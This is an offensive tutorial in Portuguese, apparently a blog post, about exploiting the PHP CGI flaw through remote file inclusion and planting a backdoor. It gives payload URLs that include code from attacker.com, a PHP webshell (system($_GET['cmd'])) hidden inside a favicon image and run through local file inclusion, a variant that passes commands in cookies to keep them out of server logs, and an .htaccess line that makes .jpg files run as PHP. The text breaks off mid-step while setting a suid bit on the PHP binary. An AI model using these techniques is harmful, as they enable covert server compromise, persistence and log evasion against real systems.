Bom pessoal, vou iniciar este post esclarecendo algumas coisas:A alguns dias foi levantada uma discussao sobre LFI s e RFI por causa da falha do PHP CGI.Resumindo, ao se fazer um RFI nesta falha pouco importa qual seja a extensao do arquivo incluido, podendo ser .txt, .gif, .jpg, .ico ou te mesmo .php, desde que, o servidor onde o arquivo .php esteja hospedado nao faca interpretacao. Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.txt Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.gif Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.phpComo mencionei, no 3 exemplo o servidor attacker nao pode ter/fazer interpretacao de arquivos .phpMais pra baixo vou explicar porque o extensao nao faz diferenca.Vamos ao que interessa:A ideia aqui e implantar um backdoor acessa-lo atraves de LFI de uma forma nao muito usual.Para isto vamos usar o Favicon, ele foi escolhido pois fiz varios testes com figuras e muitas apresentaram problemas de execucao do codigo devido ao caracteres utilizados a formacao da imagem, ja a Favicon e bem simples e possui poucos caracteres, diminuindo assim a possibilidade de problemas de execucao.Criei um favicon neste site, bem simples, apenas escrito DC com letras azuis. Vamos dar uma olhada nele no editor hexa:No Chrome ele e exibido no canto esquerdo superior da aba:No IE ele fica na barra de enderecos:Acesso direto:Agora vamos altera-lo e acrescentar a seguinte linha:<?php system($_GET['cmd']; ?> Que efetivamente vai ser nosso backdoor.Voce pode trocar a funcao system pela sua de preferencia.Ao fazer o request novamente, ele continua a ser visualizado sem problemas, mesmo depois do codigo PHP ter sido acrescentado. Ate ai tudo ok!Agora fazemos o include do arquivo e passamos os comandos:http://srvlfi.dc/lfi.php?inc=favicon.ico&cmd=idDepois disso tudo, vamos entender o porque isso acontece:A funcao include (e similares) do PHP, ignoram complemente a extensao do arquivo e joga todo seu conteudo para dentro do .php base, neste caso o lfi.php, entao, oque interessa e somente o conteudo do arquivo. O PHP por sua vez ao encontrar um novo <?php, executa o codigo ate encontrar ?>, ou seja, o final das instrucoes PHP para aquele bloco de codigo.O problema de usar esta tecnica e o lixo exibido na tela, justamente pelo comportamento das funcoes de include, que jogam o conteudo do arquivo ate achar os marcadores do PHP.Outro ponto importante seria utilizar cookies para passar os comandos para o PHP, assim, seria evitado que os comandos fossem enviados por GET ou POST e poluindo ainda mais o Log do servidor.Log sem cookie: [23/Aug/2012:08:59:38 -0300] "GET /lfi.php?lfi=oi2.gif&cmd=uname%20-a HTTP/1.1" 200 384 "-" "Mozilla/5.0Log utilizando comando por cookie: [23/Aug/2012:09:01:13 -0300] "GET /lfi.php?lfi=oi.gif HTTP/1.1" 200 384 "-" "Mozilla/5.0O codigo para esta implementacao e bem simples:setcookie("cmd_cookie", "id");system($_COOKIE["cmd_cookie"]);Basta alterar o valor do cookie com sua ferramentas preferida.Fazendo uma pesquisa rapida junto com o Psylon, encontramos este Post, que fala sobre adicionar codigo php em imagem, porem, e necessario adicionar informacao no htaccess. Esta linha ira fazer com que o interpretador do php entende que arquivos .jpg tambem sejam interpretados.root@webtestbed:/var/www/media# echo AddType application/x-httpd-php .jpg >> .htaccessAgora partindo so suposto que que isso tudo que fizemos e um pos exploitation e que o pesquisador acima fez alteracoes em arquivos foi feito o seguinte:Setado um suid no binario do phpchmod 4755